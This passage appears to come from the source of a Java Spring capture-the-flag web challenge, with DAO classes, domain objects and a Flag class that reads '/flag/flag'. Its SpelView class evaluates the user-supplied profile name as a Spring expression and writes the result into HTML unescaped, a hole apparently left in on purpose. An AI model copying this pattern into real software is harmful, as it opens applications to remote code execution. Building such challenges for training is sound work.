<groupId>net.coobird</groupId>\n            <artifactId>thumbnailator</artifactId>\n            <version>0.4.8</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-fileupload</groupId>\n            <artifactId>commons-fileupload</artifactId>\n            <version>1.3.1</version>\n            <exclusions>\n                <exclusion>\n                    <artifactId>commons-io</artifactId>\n                    <groupId>commons-io</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>2.5</version>\n        </dependency>\n        <!--junit依赖-->\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.9</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-core</artifactId>\n            <version>1.2.2</version>\n        </dependency>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <version>1.7.25</version>\n        </dependency>\n        <!-- spring 依赖-->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-beans</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context-support</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n\n        <!--jdbc-->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-jdbc</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n\n        <!--springMCV-->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webmvc</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>commons-dbcp</groupId>\n            <artifactId>commons-dbcp</artifactId>\n            <version>${commons-dbcp.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>3.0.1</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>servlet-api</artifactId>\n            <version>${servlet.version}</version>\n            <scope>provided</scope>\n        </dependency>\n\n\n        <dependency>\n            <groupId>org.aspectj</groupId>\n            <artifactId>aspectjweaver</artifactId>\n            <version>${aspectj.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.testng</groupId>\n            <artifactId>testng</artifactId>\n            <version>${testng.version}</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <version>${spring.version}</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>jstl</groupId>\n            <artifactId>jstl</artifactId>\n            <version>1.2</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <!-- jetty插件 -->\n            <!--<plugin>-->\n            <!--<groupId>org.mortbay.jetty</groupId>-->\n            <!--<artifactId>maven-jetty-plugin</artifactId>-->\n            <!--<version>6.1.25</version>-->\n            <!--<configuration>-->\n            <!--<connectors>-->\n            <!--<connector implementation=\"org.mortbay.jetty.nio.SelectChannelConnector\">-->\n            <!--<port>8000</port>-->\n            <!--<maxIdleTime>60000</maxIdleTime>-->\n            <!--</connector>-->\n            <!--</connectors>-->\n            <!--<contextPath>/bbs</contextPath>-->\n            <!--<scanIntervalSeconds>1</scanIntervalSeconds>-->\n            <!--</configuration>-->\n            <!--</plugin>-->\n\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.17</version>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.3</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n\n            <!--<plugin>-->\n            <!--<groupId>org.apache.tomcat.maven</groupId>-->\n            <!--<artifactId>tomcat7-maven-plugin</artifactId>-->\n            <!--<version>2.2</version>-->\n            <!--<configuration>-->\n            <!--<port>8080</port>-->\n            <!--<charset>${project.build.sourceEncoding}</charset>-->\n            <!--<server>tomcat7</server>-->\n            <!--</configuration>-->\n            <!--</plugin>-->\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/canstants/Canstants.java",
    "content": "package com.bupt.canstants;\n\nimport java.util.Arrays;\nimport java.util.List;\n\npublic class Canstants {\n\t\n\tpublic static final String regSuccess = \"注册成功!请登陆填写个人信息\";\n\tpublic static final String regFail = \"注册失败！\";\n\tpublic static final String regNameFail = \"此用户名已经注册\";\n\tpublic static final String regEmailFail = \"此邮箱已经注册\";\n\tpublic static final String loginSuccess = \"登陆成功\";\n\tpublic static final String loginPawFail = \"账号或密码错误！\";\n\tpublic static final String findEmailFail = \"用户名或邮箱错误\";\n\tpublic static final String sendEmailFail = \"邮件发送失败\";\n\tpublic static final String findEmailSeccess = \"邮件已发送\";\n\tpublic static final String findNull = \"请勿输入空值\";\n\tpublic static final String findCheckError = \"验证码错误或已超时\";\n\tpublic static final String findPasswordFail = \"两次输入的密码不一致\";\n\tpublic static final String changePwdSuccess = \"密码修改成功\";\n\tpublic static final String authFail = \"没有访问权限\";\n\tpublic static final String checkFail = \"参数校验失败\";\n\tpublic static final String fillTheProfileFirst = \"请及时提交报名表\";\n\tpublic static final String timeLimited = \"大赛报名已经截止\";\n\tpublic static final List<String> suffixs = Arrays.asList(\"jpg\",\"png\",\"jpeg\");\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/common/JsonData.java",
    "content": "package com.bupt.common;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class JsonData {\n\n    private boolean ret;\n\n    private String msg;\n\n    private Object data;\n\n    public boolean isRet() {\n        return ret;\n    }\n\n    public void setRet(boolean ret) {\n        this.ret = ret;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public Object getData() {\n        return data;\n    }\n\n    public void setData(Object data) {\n        this.data = data;\n    }\n\n    public JsonData(boolean ret) {\n        this.ret = ret;\n    }\n\n    public static JsonData success(Object object, String msg) {\n        JsonData jsonData = new JsonData(true);\n        jsonData.data = object;\n        jsonData.msg = msg;\n        return jsonData;\n    }\n\n    public static JsonData success(Object object) {\n        JsonData jsonData = new JsonData(true);\n        jsonData.data = object;\n        return jsonData;\n    }\n\n    public static JsonData success() {\n        return new JsonData(true);\n    }\n\n    public static JsonData fail(String msg) {\n        JsonData jsonData = new JsonData(false);\n        jsonData.msg = msg;\n        return jsonData;\n    }\n\n    public Map<String, Object> toMap() {\n        HashMap<String, Object> result = new HashMap<String, Object>();\n        result.put(\"ret\", ret);\n        result.put(\"msg\", msg);\n        result.put(\"data\", data);\n        return result;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/common/RandomValueStringGenerator.java",
    "content": "package com.bupt.common;\n\nimport java.security.SecureRandom;\nimport java.util.Random;\n\n/**\n * Utility that generates a random-value ASCII string.\n *\n * @author Ryan Heaton\n * @author Dave Syer\n */\npublic class RandomValueStringGenerator {\n\n    private static final char[] DEFAULT_CODEC = \"1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\n            .toCharArray();\n\n    private Random random = new SecureRandom();\n\n    private int length;\n\n    /**\n     * Create a generator with the default length (6).\n     */\n    public RandomValueStringGenerator() {\n        this(6);\n    }\n\n    /**\n     * Create a generator of random strings of the length provided\n     *\n     * @param length the length of the strings generated\n     */\n    public RandomValueStringGenerator(int length) {\n        this.length = length;\n    }\n\n    public String generate() {\n        byte[] verifierBytes = new byte[length];\n        random.nextBytes(verifierBytes);\n        return getAuthorizationCodeString(verifierBytes);\n    }\n\n    /**\n     * Convert these random bytes to a verifier string. The length of the byte array can be\n     * {@link #setLength(int) configured}. The default implementation mods the bytes to fit into the\n     * ASCII letters 1-9, A-Z, a-z .\n     *\n     * @param verifierBytes The bytes.\n     * @return The string.\n     */\n    protected String getAuthorizationCodeString(byte[] verifierBytes) {\n        char[] chars = new char[verifierBytes.length];\n        for (int i = 0; i < verifierBytes.length; i++) {\n            chars[i] = DEFAULT_CODEC[((verifierBytes[i] & 0xFF) % DEFAULT_CODEC.length)];\n        }\n        return new String(chars);\n    }\n\n    /**\n     * The random value generator used to create token secrets.\n     *\n     * @param random The random value generator used to create token secrets.\n     */\n    public void setRandom(Random random) {\n        this.random = random;\n    }\n\n    /**\n     * The length of string to generate.\n     *\n     * @param length the length to set\n     */\n    public void setLength(int length) {\n        this.length = length;\n    }\n\n}\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/common/SpelView.java",
    "content": "package com.bupt.common;\n\nimport java.io.UnsupportedEncodingException;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.bupt.domain.Profile;\nimport org.springframework.context.expression.MapAccessor;\nimport org.springframework.expression.Expression;\nimport org.springframework.expression.spel.SpelParseException;\nimport org.springframework.expression.spel.standard.SpelExpressionParser;\nimport org.springframework.expression.spel.support.StandardEvaluationContext;\nimport org.springframework.util.PropertyPlaceholderHelper;\nimport org.springframework.util.PropertyPlaceholderHelper.PlaceholderResolver;\nimport org.springframework.web.servlet.View;\nimport org.springframework.web.servlet.support.ServletUriComponentsBuilder;\n\n/**\n * Simple String template renderer.\n *\n */\npublic class SpelView implements View {\n\n    private String template;\n\n    private String prefix;\n\n    private final SpelExpressionParser parser = new SpelExpressionParser();\n\n    private final StandardEvaluationContext context = new StandardEvaluationContext();\n\n    private PlaceholderResolver resolver;\n\n    private Profile profile;\n\n    private String elstr;\n\n    public SpelView(Profile profile) {\n        this.profile = profile;\n        this.elstr = resolvePlaceholder(profile.getName()) == null ? profile.getName() : resolvePlaceholder(profile.getName());\n        this.template = createTemplate(this.elstr);\n    }\n\n    public String getTemplate(){\n        return this.template;\n    }\n\n    public String resolvePlaceholder(String name){\n        try {\n            Expression expression = parser.parseExpression(name);\n            String value = expression.getValue(String.class);\n            return value == null ? null : value.toString();\n        }\n        catch (Exception e){\n            return null;\n        }\n    }\n\n    protected String createTemplate(String elexpression) {\n        String template = TEMPLATE;\n\n        if (!elexpression.isEmpty()) {\n            template = template.replace(\"%name%\", elexpression);\n        }\n        else {\n            template = template.replace(\"%name%\", \"\");\n        }\n        return template;\n    }\n\n    private static String TEMPLATE = \"<div class=\\\"col-sm-9 input-group\\\"><input type=\\\"text\\\" name=\\\"name\\\" value=\\\"%name%\\\" class=\\\"form-control\\\"><span class=\\\"input-group-addon\\\"><span class=\\\"glyphicon glyphicon-user\\\"></span></span></div>\";\n\n\n    public String getContentType() {\n        return \"text/html\";\n    }\n\n    public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)\n            throws Exception {\n        Map<String, Object> map = new HashMap<String, Object>(model);\n        String path = ServletUriComponentsBuilder.fromContextPath(request).build()\n                .getPath();\n        map.put(\"path\", (Object) path==null ? \"\" : path);\n        context.setRootObject(map);\n        String maskedTemplate = template.replace(\"${\", prefix);\n        PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, \"}\");\n        String result = helper.replacePlaceholders(maskedTemplate, resolver);\n        result = result.replace(prefix, \"${\");\n        response.setContentType(getContentType());\n        response.getWriter().append(result);\n    }\n\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/common/SpringExceptionResolver.java",
    "content": "package com.bupt.common;\n\nimport com.bupt.exception.ParamException;\nimport com.bupt.exception.PermissionException;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class SpringExceptionResolver implements HandlerExceptionResolver {\n\n    @Override\n    public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {\n        String url = request.getRequestURL().toString();\n        ModelAndView mv;\n        String defaultMsg = \"\";\n\n        if (url.endsWith(\".json\")) {\n            if (ex instanceof PermissionException || ex instanceof ParamException) {\n                JsonData result = JsonData.fail(ex.getMessage());\n                mv = new ModelAndView(\"jsonView\", result.toMap());\n            } else {\n                System.out.println(\"unknown json exception, url:\" + url+ex);\n                JsonData result = JsonData.fail(defaultMsg);\n                mv = new ModelAndView(\"jsonView\", result.toMap());\n            }\n        } else if (url.endsWith(\".html\")){\n            System.out.println(\"unknown page exception, url:\" + url+ ex);\n            JsonData result = JsonData.fail(defaultMsg);\n            mv = new ModelAndView(\"exception\", result.toMap());\n        } else {\n            System.out.println(\"unknow exception, url:\" + url+ ex);\n            JsonData result = JsonData.fail(defaultMsg);\n            mv = new ModelAndView(\"jsonView\", result.toMap());\n        }\n\n        return mv;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/dao/ProfileDao.java",
    "content": "package com.bupt.dao;\n\nimport com.bupt.domain.Profile;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.core.RowCallbackHandler;\nimport org.springframework.jdbc.core.RowMapper;\nimport org.springframework.stereotype.Repository;\n\nimport java.io.Serializable;\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.List;\n\n@Repository\npublic class ProfileDao implements Serializable {\n\n\n    private JdbcTemplate jdbcTemplate;\n\n    private final static String FIND_PROFILE_SQL = \" SELECT * FROM profile  \" +\n            \" WHERE user_id =?\";\n\n    private final static String UPDATE_PROFILE_SQL = \" UPDATE profile SET \" +\n            \" user_id=?,name=?,gender=?,birthday=?,province=?,nation=?,politics_status=?,IDnumber=?,type=?,school=?,grade=?,address=?,postcode=?,phone=?,height=?,weight=?,mail=?,father_name=?,father_job=?,father_phone=?,mother_name=?,mother_job=?,mother_phone=?,hobby=?,description=?,photo=?\" +\n            \" WHERE id =?\";\n\n    private final static String INSERT_PROFILE_SQL = \"INSERT INTO profile(user_id,name,gender,birthday,province,nation,politics_status,IDnumber,type,school,grade,address,postcode,phone,height,weight,mail,father_name,father_job,father_phone,mother_name,mother_job,mother_phone,hobby,description, photo) \" +\n            \"VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)\";\n\n    public List<Profile> findAll() {\n        String sql = \"SELECT * FROM profile\";\n        return jdbcTemplate.query(sql, new RowMapper<Profile>() {\n            public Profile mapRow(ResultSet rs, int i) throws SQLException {\n                Profile profile = new Profile();\n                profile.setId(rs.getInt(\"id\"));\n                profile.setUser_id(rs.getInt(\"user_id\"));\n                profile.setName(rs.getString(\"name\"));\n                profile.setGender(rs.getString(\"gender\"));\n                profile.setBirthday(rs.getString(\"birthday\"));\n                profile.setProvince(rs.getString(\"province\"));\n                profile.setNation(rs.getString(\"nation\"));\n                profile.setPolitics_status(rs.getString(\"politics_status\"));\n                profile.setIDnumber(rs.getString(\"IDnumber\"));\n                profile.setType(rs.getString(\"type\"));\n                profile.setSchool(rs.getString(\"school\"));\n                profile.setGrade(rs.getString(\"grade\"));\n                profile.setAddress(rs.getString(\"address\"));\n                profile.setPostcode(rs.getString(\"postcode\"));\n                profile.setHeight(rs.getString(\"height\"));\n                profile.setWeight(rs.getString(\"weight\"));\n                profile.setMail(rs.getString(\"mail\"));\n                profile.setFather_name(rs.getString(\"father_name\"));\n                profile.setFather_job(rs.getString(\"father_job\"));\n                profile.setFather_phone(rs.getString(\"father_phone\"));\n                profile.setMother_name(rs.getString(\"mother_name\"));\n                profile.setMother_job(rs.getString(\"mother_job\"));\n                profile.setMother_phone(rs.getString(\"mother_phone\"));\n                profile.setHobby(rs.getString(\"hobby\"));\n                profile.setDescription(rs.getString(\"description\"));\n                profile.setPhone(rs.getString(\"phone\"));\n                profile.setPhoto(rs.getString(\"photo\"));\n                return profile;\n            }\n        });\n    }\n\n\n\n    public Profile findProfileByUserId(final Integer userId) {\n        final Profile profile = new Profile();\n        jdbcTemplate.query(FIND_PROFILE_SQL, new Object[]{userId},\n                new RowCallbackHandler() {\n                    public void processRow(ResultSet rs) throws SQLException {\n                        profile.setId(rs.getInt(\"id\"));\n                        profile.setUser_id(rs.getInt(\"user_id\"));\n                        profile.setName(rs.getString(\"name\"));\n                        profile.setGender(rs.getString(\"gender\"));\n                        profile.setBirthday(rs.getString(\"birthday\"));\n                        profile.setProvince(rs.getString(\"province\"));\n                        profile.setNation(rs.getString(\"nation\"));\n                        profile.setPolitics_status(rs.getString(\"politics_status\"));\n                        profile.setIDnumber(rs.getString(\"IDnumber\"));\n                        profile.setType(rs.getString(\"type\"));\n                        profile.setSchool(rs.getString(\"school\"));\n                        profile.setGrade(rs.getString(\"grade\"));\n                        profile.setAddress(rs.getString(\"address\"));\n                        profile.setPostcode(rs.getString(\"postcode\"));\n                        profile.setHeight(rs.getString(\"height\"));\n                        profile.setWeight(rs.getString(\"weight\"));\n                        profile.setMail(rs.getString(\"mail\"));\n                        profile.setFather_name(rs.getString(\"father_name\"));\n                        profile.setFather_job(rs.getString(\"father_job\"));\n                        profile.setFather_phone(rs.getString(\"father_phone\"));\n                        profile.setMother_name(rs.getString(\"mother_name\"));\n                        profile.setMother_job(rs.getString(\"mother_job\"));\n                        profile.setMother_phone(rs.getString(\"mother_phone\"));\n                        profile.setHobby(rs.getString(\"hobby\"));\n                        profile.setDescription(rs.getString(\"description\"));\n                        profile.setPhone(rs.getString(\"phone\"));\n                        profile.setPhoto(rs.getString(\"photo\"));\n                    }\n                });\n        return profile;\n    }\n\n    public int addProfile(final Profile profile) {\n        return jdbcTemplate.update(new PreparedStatementCreator() {\n            public PreparedStatement createPreparedStatement(Connection connection) throws SQLException {\n                PreparedStatement ps = connection.prepareStatement(INSERT_PROFILE_SQL);\n                ps.setInt(1, profile.getUser_id());\n                ps.setString(2, profile.getName());\n                ps.setString(3, profile.getGender());\n                ps.setString(4, profile.getBirthday());\n                ps.setString(5, profile.getProvince());\n                ps.setString(6, profile.getNation());\n                ps.setString(7, profile.getPolitics_status());\n                ps.setString(8, profile.getIDnumber());\n                ps.setString(9, profile.getType());\n                ps.setString(10, profile.getSchool());\n                ps.setString(11, profile.getGrade());\n                ps.setString(12, profile.getAddress());\n                ps.setString(13, profile.getPostcode());\n                ps.setString(14, profile.getPhone());\n                ps.setString(15, profile.getHeight());\n                ps.setString(16, profile.getWeight());\n                ps.setString(17, profile.getMail());\n                ps.setString(18, profile.getFather_name());\n                ps.setString(19, profile.getFather_job());\n                ps.setString(20, profile.getFather_phone());\n                ps.setString(21, profile.getMother_name());\n                ps.setString(22, profile.getMother_job());\n                ps.setString(23, profile.getMother_phone());\n                ps.setString(24, profile.getHobby());\n                ps.setString(25, profile.getDescription());\n                ps.setString(26, profile.getPhoto());\n                return ps;\n            }\n        });\n    }\n\n    public int editProfile(final Profile profile) {\n        return jdbcTemplate.update(new PreparedStatementCreator() {\n            public PreparedStatement createPreparedStatement(Connection connection) throws SQLException {\n                PreparedStatement ps = connection.prepareStatement(UPDATE_PROFILE_SQL);\n                ps.setInt(1, profile.getUser_id());\n                ps.setString(2, profile.getName());\n                ps.setString(3, profile.getGender());\n                ps.setString(4, profile.getBirthday());\n                ps.setString(5, profile.getProvince());\n                ps.setString(6, profile.getNation());\n                ps.setString(7, profile.getPolitics_status());\n                ps.setString(8, profile.getIDnumber());\n                ps.setString(9, profile.getType());\n                ps.setString(10, profile.getSchool());\n                ps.setString(11, profile.getGrade());\n                ps.setString(12, profile.getAddress());\n                ps.setString(13, profile.getPostcode());\n                ps.setString(14, profile.getPhone());\n                ps.setString(15, profile.getHeight());\n                ps.setString(16, profile.getWeight());\n                ps.setString(17, profile.getMail());\n                ps.setString(18, profile.getFather_name());\n                ps.setString(19, profile.getFather_job());\n                ps.setString(20, profile.getFather_phone());\n                ps.setString(21, profile.getMother_name());\n                ps.setString(22, profile.getMother_job());\n                ps.setString(23, profile.getMother_phone());\n                ps.setString(24, profile.getHobby());\n                ps.setString(25, profile.getDescription());\n                ps.setString(26, profile.getPhoto());\n                ps.setInt(27,profile.getId());\n                return ps;\n            }\n        });\n    }\n\n    public int updateProfile(final Profile profile) {\n        return jdbcTemplate.update(new PreparedStatementCreator() {\n            public PreparedStatement createPreparedStatement(Connection connection) throws SQLException {\n                PreparedStatement ps = connection.prepareStatement(UPDATE_PROFILE_SQL);\n                ps.setInt(1, profile.getUser_id());\n                ps.setString(2, profile.getName());\n                ps.setString(3, profile.getGender());\n                ps.setString(4, profile.getBirthday());\n                ps.setString(5, profile.getProvince());\n                ps.setString(6, profile.getNation());\n                ps.setString(7, profile.getPolitics_status());\n                ps.setString(8, profile.getIDnumber());\n                ps.setString(9, profile.getType());\n                ps.setString(10, profile.getSchool());\n                ps.setString(11, profile.getGrade());\n                ps.setString(12, profile.getAddress());\n                ps.setString(13, profile.getPostcode());\n                ps.setString(14, profile.getPhone());\n                ps.setString(15, profile.getHeight());\n                ps.setString(16, profile.getWeight());\n                ps.setString(17, profile.getMail());\n                ps.setString(18, profile.getFather_name());\n                ps.setString(19, profile.getFather_job());\n                ps.setString(20, profile.getFather_phone());\n                ps.setString(21, profile.getMother_name());\n                ps.setString(22, profile.getMother_job());\n                ps.setString(23, profile.getMother_phone());\n                ps.setString(24, profile.getHobby());\n                ps.setString(25, profile.getDescription());\n                ps.setString(26,profile.getPhoto());\n                ps.setInt(27, profile.getId());\n                return ps;\n            }\n        });\n    }\n\n    @Autowired\n    public void setJdbcTemplate(JdbcTemplate jdbcTemplate) {\n        this.jdbcTemplate = jdbcTemplate;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/dao/UserDao.java",
    "content": "package com.bupt.dao;\n\nimport com.bupt.domain.User;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.PreparedStatementCreator;\nimport org.springframework.jdbc.core.RowCallbackHandler;\nimport org.springframework.stereotype.Repository;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\n@Repository\npublic class UserDao {\n    private JdbcTemplate jdbcTemplate;\n\n    private  final static String FIND_USER_SQL = \" SELECT * FROM user  \" +\n            \" WHERE username =? and password=? \";\n\n    private  final static String UPDATE_INFO_SQL = \" UPDATE user SET \" +\n            \" password=?,score=?,checkcode=?,time=?,pdd=? WHERE id =?\";\n\n    private final static String INSERT_USER_SQL = \"INSERT INTO user(username, password, email, salt, first,pdd) VALUES(?,?,?,?,?,?)\";\n\n    public int updateFirst(final int userId,final int first) {\n        final String sql = \" UPDATE user SET first=? WHERE id =?\";\n        return jdbcTemplate.update(new PreparedStatementCreator() {\n            public PreparedStatement createPreparedStatement(Connection connection) throws SQLException {\n                PreparedStatement ps = connection.prepareStatement(sql);\n                ps.setInt(1, first);\n                ps.setInt(2, userId);\n                return ps;\n            }\n        });\n    }\n\n    public int updateEmail(final int userId,final String email) {\n        final String sql = \" UPDATE user SET email=? WHERE id =?\";\n        return jdbcTemplate.update(new PreparedStatementCreator() {\n            public PreparedStatement createPreparedStatement(Connection connection) throws SQLException {\n                PreparedStatement ps = connection.prepareStatement(sql);\n                ps.setString(1, email);\n                ps.setInt(2, userId);\n                return ps;\n            }\n        });\n    }\n\n    public User findUserByEmail(final String email) {\n        String sql = \" SELECT * FROM user WHERE email =?\";\n\n        final User user = new User();\n        jdbcTemplate.query(sql, new Object[] { email},\n                new RowCallbackHandler() {\n                    public void processRow(ResultSet rs) throws SQLException {\n                        user.setId(rs.getInt(\"id\"));\n                        user.setUsername(rs.getString(\"username\"));\n                        user.setPassword(rs.getString(\"password\"));\n                        user.setEmail(rs.getString(\"email\"));\n                        user.setSalt(rs.getString(\"salt\"));\n                        user.setScore(rs.getInt(\"score\"));\n                        user.setCheckcode(rs.getString(\"checkcode\"));\n                        user.setTime(rs.getString(\"time\"));\n                        user.setFirst(rs.getInt(\"first\"));\n                        user.setPdd(rs.getString(\"pdd\"));\n                    }\n                });\n        return user;\n    }\n\n    public User findUserByUsername(final String username) {\n        String sql = \" SELECT * FROM user WHERE username =?\";\n\n        final User user = new User();\n        jdbcTemplate.query(sql, new Object[] { username},\n                new RowCallbackHandler() {\n                    public void processRow(ResultSet rs) throws SQLException {\n                        user.setId(rs.getInt(\"id\"));\n                        user.setUsername(rs.getString(\"username\"));\n                        user.setPassword(rs.getString(\"password\"));\n                        user.setEmail(rs.getString(\"email\"));\n                        user.setSalt(rs.getString(\"salt\"));\n                        user.setScore(rs.getInt(\"score\"));\n                        user.setCheckcode(rs.getString(\"checkcode\"));\n                        user.setTime(rs.getString(\"time\"));\n                        user.setFirst(rs.getInt(\"first\"));\n                        user.setPdd(rs.getString(\"pdd\"));\n                    }\n                });\n        return user;\n    }\n\n    public User findUserByUsernameAndPassword(final String username, final String password) {\n        final User user = new User();\n        jdbcTemplate.query(FIND_USER_SQL, new Object[] { username, password},\n                new RowCallbackHandler() {\n                    public void processRow(ResultSet rs) throws SQLException {\n                        user.setId(rs.getInt(\"id\"));\n                        user.setUsername(username);\n                        user.setEmail(rs.getString(\"email\"));\n                        user.setSalt(rs.getString(\"salt\"));\n                        user.setScore(rs.getInt(\"score\"));\n                        user.setCheckcode(rs.getString(\"checkcode\"));\n                        user.setTime(rs.getString(\"time\"));\n                        user.setFirst(rs.getInt(\"first\"));\n                        user.setPdd(rs.getString(\"pdd\"));\n                    }\n                });\n        return user;\n    }\n\n    public int addUser(final User user){\n        return jdbcTemplate.update(new PreparedStatementCreator() {\n            public PreparedStatement createPreparedStatement(Connection connection) throws SQLException {\n                PreparedStatement ps = connection.prepareStatement(INSERT_USER_SQL);\n                ps.setString(1, user.getUsername());\n                ps.setString(2, user.getPassword());\n                ps.setString(3, user.getEmail());\n                ps.setString(4, user.getSalt());\n                ps.setInt(5, user.getFirst());\n                ps.setString(6,user.getPdd());\n                return ps;\n            }\n        });\n    }\n\n    public int updateUser(final User user) {\n        return jdbcTemplate.update(new PreparedStatementCreator() {\n            public PreparedStatement createPreparedStatement(Connection connection) throws SQLException {\n                PreparedStatement ps = connection.prepareStatement(UPDATE_INFO_SQL);\n                ps.setString(1, user.getPassword());\n                ps.setInt(2, user.getScore());\n                ps.setString(3, user.getCheckcode());\n                ps.setString(4, user.getTime());\n                ps.setString(5,user.getPdd());\n                ps.setInt(6, user.getId());\n                return ps;\n            }\n        });\n    }\n\n    @Autowired\n    public void setJdbcTemplate(JdbcTemplate jdbcTemplate) {\n        this.jdbcTemplate = jdbcTemplate;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/domain/Flag.java",
    "content": "package com.bupt.domain;\n\nimport java.io.*;\n\npublic class Flag {\n    public String flag = \"Null\";\n    public String path = \"/flag/flag\";\n\n    public static String flag2String(String path){\n        File file = new File(path);\n        StringBuilder result = new StringBuilder();\n        try{\n            BufferedReader br = new BufferedReader(new FileReader(file));\n            String s = null;\n            while((s = br.readLine())!=null){\n                result.append(System.lineSeparator()+s);\n            }\n            br.close();\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n        return result.toString();\n    }\n\n    public void setFlag(){\n        flag = flag2String(path);\n    }\n\n    public String getFlag(){\n        return flag.trim();\n    }\n}\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/domain/LoginLog.java",
    "content": "package com.bupt.domain;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n */\npublic class LoginLog implements Serializable {\n    private int loginLogId;\n    private int userId;\n    private String ip;\n    private Date loginDate;\n\n\n    public int getLoginLogId() {\n        return loginLogId;\n    }\n\n    public void setLoginLogId(int loginLogId) {\n        this.loginLogId = loginLogId;\n    }\n\n    public int getUserId() {\n        return userId;\n    }\n\n    public void setUserId(int userId) {\n        this.userId = userId;\n    }\n\n    public String getIp() {\n        return ip;\n    }\n\n    public void setIp(String ip) {\n        this.ip = ip;\n    }\n\n    public Date getLoginDate() {\n        return loginDate;\n    }\n\n    public void setLoginDate(Date loginDate) {\n        this.loginDate = loginDate;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/domain/Profile.java",
    "content": "package com.bupt.domain;\n\nimport java.io.Serializable;\n\npublic class Profile implements Serializable {\n    public int id;\n    public int user_id;\n    public String name;\n    public String gender;\n    public String birthday;\n    public String province;\n    public String nation;\n    public String politics_status;\n    public String IDnumber;\n    public String type;\n    public String school;\n    public String grade;\n    public String address;\n    public String postcode;\n    public String phone;\n    public String height;\n    public String weight;\n    public String mail;\n    public String father_name;\n    public String father_job;\n    public String father_phone;\n    public String mother_name;\n    public String mother_job;\n    public String mother_phone;\n    public String hobby;\n    public String description;\n    public String photo;\n\n    @Override\n    public String toString() {\n        return \"Profile{\" +\n                \"id=\" + id +\n                \", user_id=\" + user_id +\n                \", name='\" + name + '\\'' +\n                \", gender='\" + gender + '\\'' +\n                \", birthday='\" + birthday + '\\'' +\n                \", province='\" + province + '\\'' +\n                \", nation='\" + nation + '\\'' +\n                \", politics_status='\" + 